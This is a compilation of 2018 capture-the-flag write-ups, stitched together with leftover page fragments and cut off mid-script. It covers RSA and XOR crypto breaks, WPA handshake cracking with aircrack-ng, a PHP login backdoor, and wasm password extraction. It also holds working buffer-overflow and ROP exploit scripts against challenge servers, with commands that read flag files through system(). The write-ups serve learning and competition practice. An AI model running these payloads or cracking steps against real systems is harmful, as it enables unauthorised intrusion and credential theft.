So, `d ≡ e−1 (mod Φ(n))`; where `d` is the modular multiplicative inverse of e (modulo λ(n)).
And to determine `Φ(n)`, we start using this expression : `Φ(n) = Φ(p*q) = Φ(p)*Φ(q) = (p−1)*(q−1)`.
When `n=p` instead of `n=p*q`, `Φ(n) = Φ(p) = Φ(p) = (p−1)`. Because there is no `q` and `p` is prime.
But ... As we know, `d` is the private exponent that no one should know it and it's calculated from `n`, `e` and `Φ(n)` which we know them all.
So we can regenerate the private key from any private key if `n=p`. That's what TheEmperors calls ***The single prime modulus attack***.
You can find here more detail about [How RSA works with examples](http://doctrina.org/How-RSA-Works-With-Examples.html).
#### Defining the goal
Now, you have the public key, you can extract the modulus `n=p` and the public exponent `e`.
You have also the ciphertext `c` and you need to decrypt it using the private key.
So from n, we calculate `Φ(n)=p-1`. Then, we calculate `d ≡ e−1 (mod Φ(n))`. And we get the private key with the modulus `n=p` and the private exponent `d`.
And finally we decrypt the ciphertext `c` using the private key.
#### Coding
In python, we can perform encryption using the public key from `Crypto.PublicKey` library while the encryption method is based on `(n,e)` (the public key is generated from (n,e)).
We can also calculate `Φ(n)` and `d`. But when we generate the private key, we have to provide `(n,e,d,p,q)`. And the decryption can't be performed with this library because we tricked the modulus `n`.
So, we have to skip using the `Crypto.PublicKey` library to create our custom decryption method in this [python script](resources/crypto-350-the_worst_rsa_joke/RSA_Worst_Joke/solve.py).
#### Execution
Let's execute this script :
```chmod +x solve.py./solve.py```
Output:```public key: (MOD: 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611, E: 65537)private key: (MOD: 36511974694593690272644354864534934200522045623187752384823594729275730789191680514905027084950729514148679507005058047146031869995768765034876499069680202424692876360895377987654388335335689563844006584610187090074654410815638237841872991488680663410743679302763304922852173164820002226109196761249018548478251723505481964749218302723593776180246783117481280725673997940309717028451914887375722437833384305529884261542397905220138488012276363046571670926597766521674838665982314321651508118240682649024780239598188845543243957916954287138820155843952556411235376764737602711594439293285811102883736229645274092478611, D: 6247543894672835844140467147579149978251281255144841162143701898074340373681973622444496600861154474139238781017665150078514448176336282269574516083546604055579381349635789992730157175220935086576234643633651800175430284616118638313605501114699558409571381352536547315331252115145513297276172734190556388034776001760692048044581443257127738622233050427688711446323576192114884214368368609289887413489533722968889667042074707556626531647308652138551577242944708390284291938909710130201260540426797308789903193720403584447288367549334351221061831143233348606063651296821146479207471233576561113687508095873202979584893)Plaintext (from base64): The empire secret system has been exposed ! The top secret flag is : Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm}```
So the flag is : ```Flag{S1nGL3_PR1m3_M0duLUs_ATT4cK_TaK3d_D0wn_RSA_T0_A_Sym3tr1c_ALg0r1thm}```.
You can find here the full python script (encryption and decryption) of the [**The single prime modulus attack**](resources/crypto-350-the_worst_rsa_joke/create_task.py)___
## Looser
**Category:** Crypto**Points:** 150**Author:** Anis_Boss**Description:**
>Can you help me recover the picture ?>Link : [http://crypto.ctfsecurinets.com/0/flag.png.crypt](resources/crypto-150-looser/flag.png.crypt)
**Hint:**
>No hint
### Write-upThis file was a PNG file but now it's encrypted. And as we know, the header of image files having the same file extension are similar.
Let's compare the two first line of the hexdump of two normal PNG files:
```diff <(hexdump -C file1.png | head -n2) <(hexdump -C file2.png | head -n2)```
Output:
```0a1,2> 00000000 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 |.PNG........IHDR|> 00000010 00 00 01 f4 00 00 01 82 08 06 00 00 00 16 ad 31 |...............1|```
This means, the first line may be the same in PNG files.
Let's create [a script that extract the xor key from the first line of an encrypted file and a normal file](resources/crypto-150-looser/key_extract.sh) (out of this task)
```chmod +x key_extract.sh./key_extract.sh```
Output :
```eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeec3aeeeeed34eeeeeeeeee62```
This is the hexadecimal representation of the key. It seems like the key is ```0xee```.
So let's decrypt the flag file right now [using this script](resources/crypto-150-looser/solve.sh) :
```chmod +x solve.sh./solve.sh```
You will find the flag.png waiting for you.
So the flag is : ```Flag{Hopefully_headers_are_constants}```.
___
# Scoreboard
This is the scoreboard and the rankin for the 100/216 teams that they solved at least one task in this CTF :
Summary:
Detailed :
If you need the Json file of the scoreboard, you can find it [scoreboard/jsonAdvanced.json](here)
|
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-write-up</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>Harekaze</span></span><span>/</span>Flea Attack<span>/</span> </div> </div>
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Simple two-stage rop - first to leak an address from the GOT, and then to bounce to a magic libc gadget in the provided libc.so.
https://advancedpersistentjest.com/2018/04/01/writeups-so_stealthy-rescue-shell-nuit-du-hack-quals/ |
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# For Apprentice's Return in swampctf 2018
This is how the program works.```solomonbstoner@swjsUbuntu:~/Downloads$ ./returnAs you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip! The beast lurches at you; quick! Tell me what you do: hello thereOh no! Your actions are completely ineffective! The allip approaches and as it nears, you feel its musty breath and are paralyzed with fear. It gently caresses your cheek, and you turn and flee the dungeon, leaving the battle to be fought another day...solomonbstoner@swjsUbuntu:~/Downloads$ ```The program reads only up to 50 bytes from your input. Any more than that will be ignored.
### Analysis of the program
This is the portion of the program that read our input and gave the following output. It is part of the `<doBattle>` function.```0x804852d: e8 5e fe ff ff call 0x8048390 <read> ;read(stdin, 0xffffced2, 50 chars)0x8048532: 83 c4 10 add esp, 0x100x8048535: 8d 45 da lea eax, dword [ ebp + 0xffffffda ]0x8048538: 83 c0 2a add eax, 0x2a0x804853b: 8b 00 mov eax, dword [ eax ]0x804853d: 89 c2 mov edx, eax0x804853f: b8 95 85 04 08 mov eax, 0x80485950x8048544: 39 c2 cmp edx, eax0x8048546: 76 2b jbe 0x8048573 <doBattle+0x78>0x8048548: 83 ec 0c sub esp, 0xc0x804854b: 68 4c 87 04 08 push 0x804874c ; "Oh no! Your actions are completely ineffective! The allip approaches and as it nears, you feel its musty breath and are paralyzed with fear. It gently caresses your cheek, and you turn and flee the dungeon, leaving the battle to be fought another day..."0x8048550: e8 5b fe ff ff call 0x80483b0 <puts>```
Something is very perculiar about...```0x804853f: b8 95 85 04 08 mov eax, 0x80485950x8048544: 39 c2 cmp edx, eax0x8048546: 76 2b jbe 0x8048573 <doBattle+0x78>```... in that it takes 4 bytes of our input located at `0xffffcefc` and compares it to the value `0x8048595`. If our input is lesser, then it essentially becomes the address to which `<doBattle>` returns after it ends.
This means we have very limited addresses that we can return to, and definitely cannot return to the stack (as it is in address `0xffffced2`). To overcome this problem, I put the return address to `0x8048372: c3 ret` from the `<_init>` function. Then we get to return to anywhere we want.
Shall we return to the stack to run a shellcode from there? Would have if I could have. The stack has NX bit set. ```solomonbstoner@swjsUbuntu:~/Downloads$ readelf -l return | grep -i "Stack" GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10```
Actually, I soon realised there was a function called `<slayTheBeast>`. In it contains these 2 instructions.```0x8048615: 68 ea 8a 04 08 push 0x8048aea ; "cat flag.txt\n"0x804861a: e8 a1 fd ff ff call 0x80483c0 <system>```That is all we need to get a flag printed out; by calling `system("cat flag.txt")`.
### Winning this challenge
This is the format of my input:```<42 * 'a'>< 0x8048372 >< 0x8048615 >```
Let's go for a test run:```solomonbstoner@swjsUbuntu:~/Downloads$ echo -e "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x72\x83\x04\x08\x15\x86\x04\x08" > exploit\ for\ return
(gdb) run < exploit\ for\ returnThe program being debugged has been started already.Start it from the beginning? (y or n) yStarting program: /home/solomonbstoner/Downloads/return < exploit\ for\ returnAs you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip! The beast lurches at you; quick! Tell me what you do:
Breakpoint 3, 0x0804852d in doBattle ()=> 0x0804852d <doBattle+50>: e8 5e fe ff ff call 0x8048390 <read@plt>(gdb) cContinuing.
Breakpoint 2, 0x08048532 in doBattle ()=> 0x08048532 <doBattle+55>: 83 c4 10 add esp,0x10(gdb) x/32x 0xffffced20xffffced2: 0x61616161 0x61616161 0x61616161 0x616161610xffffcee2: 0x61616161 0x61616161 0x61616161 0x616161610xffffcef2: 0x61616161 0x61616161 0x83726161 0x861508040xffffcf02: 0xcf200804 0x0000ffff 0x06370000 0xa000f7e10xffffcf12: 0xa000f7fa 0x0000f7fa 0x06370000 0x0001f7e10xffffcf22: 0xcfb40000 0xcfbcffff 0x0000ffff 0x000000000xffffcf32: 0x00000000 0xa0000000 0xdc04f7fa 0xd000f7ff0xffffcf42: 0x0000f7ff 0xa0000000 0xa000f7fa 0x0000f7fa(gdb) cContinuing.
Breakpoint 5, 0x08048546 in doBattle ()=> 0x08048546 <doBattle+75>: 76 2b jbe 0x8048573 <doBattle+120>(gdb) p/x $eax$11 = 0x8048595(gdb) p/x $edx$12 = 0x8048372(gdb) cContinuing.Your actions take the Allip by surprise, causing it to falter in its attack! You notice a weakness in the beasts form and see a glimmer of how it might be defeated.
Breakpoint 4, 0x08048596 in doBattle ()=> 0x08048596 <doBattle+155>: c3 ret (gdb) x/2x $esp0xffffcefc: 0x08048372 0x08048615(gdb) ni0x08048372 in _init ()=> 0x08048372 <_init+34>: c3 ret (gdb) 0x08048615 in slayTheBeast ()=> 0x08048615 <slayTheBeast+58>: 68 ea 8a 04 08 push 0x8048aea(gdb) 0x0804861a in slayTheBeast ()=> 0x0804861a <slayTheBeast+63>: e8 a1 fd ff ff call 0x80483c0 <system@plt>(gdb) cat: flag.txt: No such file or directory```
It worked!!
So, I fed the input into the server, and I got the flag ```from pwn import *shellcode ="\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x72\x83\x04\x08\x15\x86\x04\x08"p = remote("chal1.swampctf.com", 1802)print p.recvuntil("what you do:")p.send(shellcode)p.interactive()``````solomonbstoner@swjsUbuntu:~/Downloads$ python return.py[+] Opening connection to chal1.swampctf.com on port 1802: DoneAs you stumble through the opening you are confronted with a nearly-immaterial horror: An Allip! The beast lurches at you; quick! Tell me what you do:[*] Switching to interactive mode Your actions take the Allip by surprise, causing it to falter in its attack! You notice a weakness in the beasts form and see a glimmer of how it might be defeated.flag{f34r_n0t_th3_4nc13n7_R0pn1qu3}[*] Got EOF while reading in interactive$ [*] Interrupted[*] Closed connection to chal1.swampctf.com port 1802```
END |
# KEBAB STOWe start with kebabsto.pcapng, so our first step is to open it in Wireshark.
From TCP stream 5 we see two huge hints:1) "The name of the file begins with "kd"and2) "they also found a service at mydomainndh.ndh (port 55555) which decrypts every text encrypted with the public key, apart from the interesting one"## Part 1:We'll start with #1:In TCP stream 11 we can see that there is a file being got "GET /kdsqfkpdsdf"
Try to export HTML file:
We save it, and it's a zip file```file kdsqfkpdsdfkdsqfkpdsdf: Zip archive data, at least v2.0 to extract```
When we unzip it, it's another capture file
```file lkdjflknezczlkdjflknezcz: tcpdump capture file (little-endian) - version 2.4 (802.11, capture length 65535)```
Going through this dump we see it's 802.11 so we can't actually see what the packets are...We have a full 4 way handshake and the SSID: "wifiAccess" from packet 761/765... etc.
So let's do some aircrack-ng with the rockyou password list...
```aircrack-ng lkdjflknezcz -w ../rockyou.txtOpening lkdjflknezczRead 1358 packets.
# BSSID ESSID Encryption
1 F0:D7:AA:77:BD:46 wifiAccess WPA (1 handshake)
Choosing first network as target.
Opening lkdjflknezczReading packets, please wait...
Aircrack-ng 1.2 rc4
[00:00:00] 612/7120714 keys tested (2478.91 k/s)
Time left: 47 minutes, 53 seconds 0.01%
KEY FOUND! [ abcdefgh ]
Master Key : 46 DE 68 77 59 26 52 28 68 59 E3 E9 27 C2 75 66 77 A0 C0 C2 59 7C B7 6A 52 06 A3 B8 5D 7F 33 29
Transient Key : C8 2A 89 4B 43 93 57 73 35 B7 9E 21 99 8A 5A F2 B6 89 B8 10 F6 AF 77 68 A8 B4 69 E7 30 E4 A7 9B 88 32 93 FF AA B5 8E CE 9E AC 4A 05 05 0C EC BB 37 C9 12 11 5B DA 0C E9 D8 25 02 5E F3 D2 AA 4F
EAPOL HMAC : 76 32 AE BA 65 FD A2 64 BD FD 8E 76 BA 1F B7 84```It found the key very quick!!So now we go into the 802.11 protocol settings: to add the decryption key:SSID (wifiAccess) abcdefgh:wifiAccess
In packet 1292 there's another zip file, save as raw to "slkfdsfljkj"
Tried to unzip and it's asking for a password...```unzip slkfdsfljkjArchive: slkfdsfljkj[slkfdsfljkj] slkfdsflj password:```
## Part 2Time to go to #2!2) "they also found a service at mydomainndh.ndh (port 55555) which decrypts every text encrypted with the public key, apart from the interesting one"We use follow TCP stream of the FIRST .pcap (kebabsto.pcapng), we see a mail conversation and a file being sent.
In stream 13 we get the file "docs.zip"```UEsDBAoAAAAAAFZ6lUsAAAAAAAAAAAAAAAAFABwAZG9jcy9VVAkAA8PCO1rdwjtadXgLAAEEAAAAAAQAAAAAUEsDBBQAAAAIALd5lUvQbcUR4wAAABABAAAPABwAZG9jcy9wdWJrZXkucGVtVVQJAAOawTtamsE7WnV4CwABBAAAAAAEAAAAAGXPvVaDMABA4Z2n6M7hlAoKjEmIIWDTRsQDbBESaKAHqBZant6f1Tve7bOsnyAmlG2OGXyhaJPg4vdZxp4StQc2QelEUvrhhBxDwDMAXMJAiOCJJ7DhyI9Zy6iQHS91tfO3c1HK3dO8xEZeTcr/fNflBXHlicfbpSZjdOg7hL8EVolIUG767EwCoO/SC1yXVlHkyb7QrT1Kaqy79PU6d+71efRANYAgdtb6EGdi3T6oocl7YS5qPca3KRigNxdAuW+lduwwS9WY0co4iWaxdat13Y5nqbC50BBwAI0/IWbhP/Q3UEsDBBQAAAAIAFZ6lUus24QeoQAAADUBAAAPABwAZG9jcy9jaXBoZXJUZXh0VVQJAAPDwjtaw8I7WnV4CwABBAAAAAAEAAAAABWPyREAQQgC/xuNFwL5J7bOS6pstWWJTYxoe/3qYopgqq6OQruta0ieSC8nAmvPMGJUdmics9wyyrkHpTRV0wVPZoYboT5GDCYmr+GHtrBhLuuGW4llFBXLTFgBbJPOEurBXQ6c0m1cxGlI0ZF9wq0L1SeoSkY/n+jtPLcLieaBhiYBAtmsZutOmad7MwzEiXVy4+6Z991gvMPi2ewk6/sBUEsBAh4DCgAAAAAAVnqVSwAAAAAAAAAAAAAAAAUAGAAAAAAAAAAQAO1BAAAAAGRvY3MvVVQFAAPDwjtadXgLAAEEAAAAAAQAAAAAUEsBAh4DFAAAAAgAt3mVS9BtxRHjAAAAEAEAAA8AGAAAAAAAAQAAAKSBPwAAAGRvY3MvcHVia2V5LnBlbVVUBQADmsE7WnV4CwABBAAAAAAEAAAAAFBLAQIeAxQAAAAIAFZ6lUus24QeoQAAADUBAAAPABgAAAAAAAEAAACkgWsBAABkb2NzL2NpcGhlclRleHRVVAUAA8PCO1p1eAsAAQQAAAAABAAAAABQSwUGAAAAAAMAAwD1AAAAVQIAAAAA```
It's base64 encdoed ("Content-Transfer-Encoding: base64") I could have also decoded it in wireshark before but this works as well..```base64 -d < doc > docs.zip```
unzip docs.zip
we get cipherText and pubkey.pem
The mydomain... is just the url from the challenge page: kebabsto.challs.malice.frThere was an error in the file, the port is actually 8888 and not 55555
inputted the cipherText and got ```Here is the cleartext of your input :
123360975347216093033775350245751721746535757669936```This output is the raw decryted value and the associated plaintext is easily retrievable :
```python>>> from binascii import unhexlify>>> unhexlify(str(hex(123360975347216093033775350245751721746535757669936))[2:-1])'Th1s1s2P@ss_W0rd%M0f0'```
After this we just unzip slkfdsfljkj with the password and get the flag:```The flag is : ndh2k18{M4k3M4tr10cHKa9r34T4g41n}``` |
File read / path traversal in favicon.php -> get source of helpers.php (contains path of flag) -> request flag from webserver.
https://advancedpersistentjest.com/2018/03/04/writeup-el33t-articles-hub-pragyan-ctf/ |
**Web - Compromised - 200pts**
Enoncé :```The administrator of this website has been hacked multiple times. As a result, they gave the sources of their site and ask users to look for vulns.
https://compromised.thcon.party
WARNING: The flag is given without the surrounding "THC{...}"```
On commence avec les sources de l'application web [Sources](sources/sources.zip)
**Résolution :**
La page d'accueil nous demande de nous authentifier.
Le fichier login.php contient l'authentification suivante :
```PHPif (!empty($_POST['username']) && !empty($_POST['password'])) { $account = json_decode(file_get_contents('configs/account.json'));
if ($_POST['username'] == $account->username && hsha1($_POST['password']) == $account->password) { $_SESSION['logged'] = $account->username; header('Location: admin.php'); echo 'bon'; exit(); } else { $error = "Invalid username of password"; }}
```
On essaye d'accèder au fichier qui contient les comptes utilisateurs sur le serveur :
[configs/account.json](https://compromised.thcon.party/configs/account.json)
```PHP{ "username": "admin", "password": "f17c99cf95443a9a8768547fb91377a6da9f2a6e"}```
Sans succès après avoir essayer de chercher une correspondance du sha1 , nous sommes aller voir plus en détail la fonction "hsha1".
Contenu du fichier : "base/sha1.php"
```PHP $chrs) { $chrs = str_split($chrs); var_dump($chrs); $parcel = ''; foreach ($chrs as $chr) { $parcel .= sprintf('%08b', ord($chr)); } $parcels[$i] = bindec($parcel); }
for ($i = 16; $i < 80; $i++) { $parcels[$i] = rotl($parcels[$i - 3] ^ $parcels[$i - 8] ^ $parcels[$i - 14] ^ $parcels[$i - 16], 1) & 0xffffffff; }
$a = $p0; $b = $p1; $c = $p2; $d = $p3; $e = $p4;
foreach ($parcels as $i => $parcel) { $j = floor($i / 20); if ($i < 10) { if (@sha1x(4, ord($input[$i]), $c, $d) == (movr($i / 4, $c0, $c1, $c2) & 0xff)) { $z++; } $i++; } $f = sha1x($j, $b, $c, $d); $temp = rotl($a, 5) + $f + $e + $K[$j] + ($parcel) & 0xffffffff; $e = $d; $d = $c; $c = rotl($b, 30); $b = $a; $a = $temp; $x = $z == 0xa ? chr(115) : chr(120); }
$p0 = $z == 10 ? $B[0] : (($p0 + $a) & 0xffffffff); $p1 = $z == 10 ? $B[1] : (($p1 + $b) & 0xffffffff); $p2 = $z == 10 ? $B[2] : (($p2 + $c) & 0xffffffff); $p3 = $z == 10 ? $B[3] : (($p3 + $d) & 0xffffffff); $p4 = $z == 10 ? $B[4] : (($p4 + $e) & 0xffffffff); }
return sprintf("%08$x%08$x%08$x%08$x%08$x", $p0, $p1, $p2, $p3, $p4);}
```
On constate que :
```PHP$p0 = $z == 10 ? $B[0] : (($p0 + $a) & 0xffffffff);```Si $z est égal à 10 alors $p0 vaut "$B[0]" (valeur) transmis par l'utilisateur)
On cherche donc un moyen de mettre $z à 10 :
```PHP@sha1x(4, ord($input[$i]), $c, $d) == (movr($i / 4, $c0, $c1, $c2) & 0xff)```
Si on execute la page de login avec un mot de passe de test et que l'on affiche **(movr($i / 4, $c0, $c1, $c2) & 0xff)** , on obtient :
```PHP if ($i < 10) { echo "\n--------------\n"; echo (movr($i / 4, $c0, $c1, $c2) & 0xff); echo "\n---------------\n"; /*if (@sha1x(4, ord($input[$i]), $c, $d) == (movr($i / 4, $c0, $c1, $c2) & 0xff)) { $z++; var_dump($z); }*/ $i++; }
```
Résultat :```81, 72, 30, 73, 65, 78, 1, 1, 88, 87```
Il faut xorer chaque résultat avec 0x2a.
```PHP
case 4: return ($b ^ 0x2a);
```
```PYTHON>>> import sys>>> values = [81, 72, 30, 73, 65, 78, 1, 1, 88, 87]>>> for elem in values:... sys.stdout.write(chr(elem ^ 0x2a))... {b4ckd++r}```
Pour se connecter sur la page admin il fallait alors utiliser les identifians :
```admin / {b4ckd++r}f17c99cf95443a9a8768547fb91377a6da9f2a6e```
```Le flag est : THC{tata}```
By team Beers4Flags
``` ________| || #BFF ||________| _.._,_|,_ ( | ) ]~,"-.-~~[ .=] Beers ([ | ]) 4 ([ '=]) Flags [ |:: ' | ~~----~~``` |
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<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WriteUps</span></span></span><span>/</span><span><span>2018</span></span><span>/</span><span><span>Nuit-du-Hack-2018</span></span><span>/</span>BaseX<span>/</span> </div> </div>
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```# python3 spl.py | ncat basex.challs.malice.fr 4444
import binascii
def convert_to_base31(num): digits = [] for i in range(20): digits.append(num % 31) num //= 31 digits = [chr(48 + d) for d in digits]
return "".join(reversed(digits))
def write_to_mem(addr, data): print(convert_to_base31(data), end="") print("%020d" % ((517 + addr)<<32), end="") print("0"*40, end="")
write_to_mem(0, 0x4004ee) # ret 0x4008f3write_to_mem(1, 0x4008f3) # pop rdi ; ret
write_to_mem(3, 0x40075f) # pop rbx ; pop rbp ; ret
write_to_mem(4, 2**32 - (0x6D710 - 0x41CD0)) # rbx (fread - system)write_to_mem(5, 0x601018 + 0x3d) # # rbp (fread)write_to_mem(6, 0x4005f8) # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; retwrite_to_mem(7, 0x400500) # call fread
write_to_mem(28, int(binascii.hexlify(b"cat /srv"[::-1]).decode(), 16))write_to_mem(29, int(binascii.hexlify(b"/flag*\0\0"[::-1]).decode(), 16))``` |
Relevant code from login.php:```$_SESSION['id'] = $identifier;if($type === 'team_name') { if(verify_teamname_password($team_name, $password) === true) { $_SESSION['logged_in'] = true; redirect('/homepage.php');```As you may notice `$SESSION['id']` being set before password check. So you just auth with legit credentials and then "fail" next auth attempt as `admin`. |
1. See the comments in the given [youtube](https://youtu.be/_nDcdQb0Ae8) link ,copy it and save it in your notepad++2. Watch the video, specially the mid of the video contains morse code.Download video and decode morse using Audacity. As a result you get: starthttp://play.swampctf.com/1C457BA5HL1K3N0OTH3REND3. Visiting that link redirects you to [another youtube page](https://www.youtube.com/watch?v=Fc0uICnSA-c&feature=youtu.be)4. Copy those comments as well to your notepad++
5. observe the key , value pairs.. format it properly and save it as mis.txt (keys starts with 000088 )6. Now run the following script to sort based on the keys and output to a file
```import re
l=[]
with open("mis.txt", 'r') as f_in: for line in f_in: a=line.split(" ") for i in a: for img in re.findall('00008[a-z0-9]{3}$', i): #print img,line l.append(line) print "sorted stuff " #print ll.sort()print lf=open("flag.txt","w")
for i in l: f.write(i)```
Now open flag.txt and zoomout. flag is `flag{pull_the_lever_i_dare_you}` |
```from scapy.all import *
r = rdpcap("data.pcap")
flagL = []
for i in range(0, len(r)): if ICMP in r[i]: print 'OK' if not "ICMP 10.136.255.127" in r[i][ICMP].summary(): continue print r[i] d = str(r[i]).encode('hex') if d not in flagL: flagL.append(d[68:70])f = open('flag.gif', 'w')f.write(''.join(flagL).decode('hex'))f.close()```
You get a flag.gif showing `flag{we_ride_at_midnight}` |
# Window of Opportunity (rev500)Original writeup, with sources: [here](https://github.com/numinit/CTF/blob/master/SwampCTF-2018/rev/window-of-opportunity-500/window-of-opportunity.md)
$ nc chal1.swampctf.com 1313
No user input. After some reverse engineering, it turns out that it mmaps a region of memory +rwx and generates an access token.The token is generated based on the current time and used to decrypt a bunch of x86 instructions, which it then jumps to.If you generate the right token, you get the flag.
An equation for the token is:
(((tv.tv_sec & 0xFFC) << 16) - 0x14C437BE) ^ ((tv.tv_sec & 0xF0) << 8) | ((tv.tv_sec & 0xFFC) << 8) | ((tv.tv_sec >> 8) << 24) | tv.tv_sec & 0xFC;
There is an upper bound of 2^16 potential tokens. The search space is way smaller considering the crazy equation to make the token.
Considering that, it's sat solver time. Let's explore the space of tokens with z3: [source here](https://github.com/numinit/CTF/blob/master/SwampCTF-2018/rev/window-of-opportunity-500/window_solve.py). Run it with `python window_solve.py | tee timestamps`.
Now that we have all the possible timestamps after the current one, we need to test them.Let's write a [LD_PRELOAD](http://www.goldsborough.me/c/low-level/kernel/2016/08/29/16-48-53-the_-ld_preload-_trick/) shared librarythat can mock `gettimeofday()`.
```c/* gcc -shared -fPIC -Os -opreload.so preload.c */
#include <stdlib.h>#include <sys/time.h>#include <unistd.h>#include <signal.h>
int gettimeofday(struct timeval *tv, struct timezone *tz) { const char *timestamp_str = getenv("TS"); unsigned long int timestamp = timestamp_str ? strtoul(timestamp_str, NULL, 10) : 0; tv->tv_sec = timestamp; tv->tv_usec = 0;}
unsigned int sleep(unsigned int seconds) { // Just pretend we slept for that many seconds to move things along. return seconds;}```
So, we can rename the provided `OS.BIN` to `window` and run it like `TS=1522400279 LD_PRELOAD="$(realpath preload.so)" ./window` to mock the timestamp.
With a bunch of timestamps in hand, I wrote a bash script to run the binary a bunch of times to look for any output other than `NOT AUTHORIZED`.
```sh( cat timestamps | sort -n | while read line; do ts="$(echo "$line" | cut -d, -f1)" tk="$(echo "$line" | cut -d, -f2)" echo -n "$ts,$tk," TS="$ts" LD_PRELOAD="$(realpath preload.so)" timeout 5 ./window 2>&1 | grep 'NOT AUTHORIZED' done) | tee results```
It found a few. Manually reviewed them, and the one with key `0xff4fdc56` said "ACCESS GRANTED." Nice!
```> RUN "V:\OS\GETFLG.BIN" WITH KEY "0xff4fdc56"ACCESS GRANTEDRUNNING ...```
Now we have the correct key, which makes coming up with z3 constraints way easier.We just have to minimize `timestamp` with the constraints `timestamp > time.time()` (i.e. it's in the future) and `token == 0xff4fdc56`.We also need to account for server/client clock difference and repeatedly run netcat when the "window of opportunity" presents itself. [Source here](https://github.com/numinit/CTF/blob/master/SwampCTF-2018/rev/window-of-opportunity-500/window_connect.py).
Wait a while, and then...
```> RUN "V:\OS\GETFLG.BIN" WITH KEY "0xff4fdc56"ACCESS GRANTEDRUNNING ...PERFORMING CHECKSUM ..... PASSEDLOADING DATA SECTION ..... LOADED
V:\OS\GETFLG.BIN > HELPLISTGET [ID]SET [ID] [CONTENT]CREATE [CONTENT]EXIT
V:\OS\GETFLG.BIN > LISTFLAG # | DATE CREATED | LAST MODIFIED |-------+---------------------------+---------------------------+1 | 2018-03-19T18:32:02+00:00 | 2018-03-29T04:56:40+00:00 |
V:\OS\GETFLG.BIN > GET 1FLAG 1: flag{y0ur_t1m3_t0_sh1ne_is_N0W}``` |
[+] Read Webpage source code
[+] Invoke the authentication function from Chrome console```Module["asm"]["_checkAuth"]("maro")returns 1761Module["asm"]["_checkAuth"]ƒ 35() { [native code] }```
[+] Download the Wasm file [http://assemblyme.challs.malice.fr/index.wasm](http://assemblyme.challs.malice.fr/index.wasm)
[+] Decopile the wasm file to C file using **wasmdec** [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
There is other alternatives but this wasmdec gave me best result.
```$wasmdec -i index.wasm -o index.c -m```
[+] Looking at memory dump file **index.c.mem.bin**, I saw Obfuscation and Encryption related strings ... I thought it will be a pain in the ass but...I tried another way
[+] Search for return value **1761** in **index.c** file only 2 occurences in** fn_25()** function
[+] Seems that the function returns 1761 if the verification fails otherwise it returns 1690
` ... if ( fn_47(local_0, 1616, 4);== 0) { if ( fn_47(local_0 + 4, 1638, 4);== 0) { if ( fn_47(local_0 + 8, 1610, 5);== 0) { if ( fn_47(local_0 + 13, 1598, 4);== 0) { if ( fn_47(local_0 + 17, 1681, 3);== 0) { if ( fn_47(local_0 + 20, 1654, 9);== 0) { global$1 = local_1; return 1690; } // <No else block> } // <No else block> } // <No else block> } // <No else block> } // <No else block> } // <No else block> ... `
**fn_47** seems to be a strncmp like function:
[-] The first argument local_0 points to the input.
[-] The second argument is the index in memory
[-] The third atgument is number of bytes to compare.
[+] I learned from index.js file that to access memory can use **Module["buffer"]**
[+] Get 4 bytes from memory at index 1616
```new TextDecoder("utf-8").decode(Module["buffer"].slice(1616,1620))"d51X"```[+] Dump the entire password
```dec = new TextDecoder("utf-8")dec.decode(Module["buffer"].slice(1616,1620)) + dec.decode(Module["buffer"].slice(1638,1638+4))+dec.decode(Module["buffer"].slice(1610,1610+5))+dec.decode(Module["buffer"].slice(1598,1598+4)) + dec.decode(Module["buffer"].slice(1681,1681+3))+ dec.decode(Module["buffer"].slice(1654,1654+9))"d51XPox)1S0xk5S11W_eKXK,,,xie"```
[+] Provide it to the web page gives
[+] Authentication is successful. The flag is NDH{password}
Maybe isn't the unintended solution regarding the encryption and the obfuscation but anyway we managed to authenticate.
Flag: **NDH{d51XPox)1S0xk5S11W_eKXK,,,xie}**
Cheers ! |
# Locked Dungeon 2### Points : 498### Solved by 25 Teams
Here we get python script :
```python#!/usr/bin/env python2.7
from hashlib import sha256, md5from Crypto.Cipher import AESimport osimport randomfrom binascii import hexlify, unhexlifyfrom base64 import b64decode, b64encodeimport sys
BLOCK_SIZE = 16KEY = os.urandom(16)IV = os.urandom(16)
pad_len = lambda inp: (BLOCK_SIZE - len(inp) % BLOCK_SIZE)pad = lambda inp: inp + chr(pad_len(inp))*pad_len(inp)unpad = lambda inp: inp[:-ord(inp[-1])]
class AESCipher: def __init__(self, key): self.key = sha256(key).digest()
def __encrypt(self, _str, iv): cipher = AES.new(self.key, AES.MODE_CBC, iv) padded_str = pad(_str) return cipher.encrypt(padded_str) def encrypt_wrapper(self, _str, iv): return b64encode(iv + self.__encrypt(_str, iv))
def __decrypt(self, enc_str, iv): cipher = AES.new(self.key, AES.MODE_CBC, iv) decrypted_str = cipher.decrypt(enc_str) decrypted_str = unpad(decrypted_str) return decrypted_str
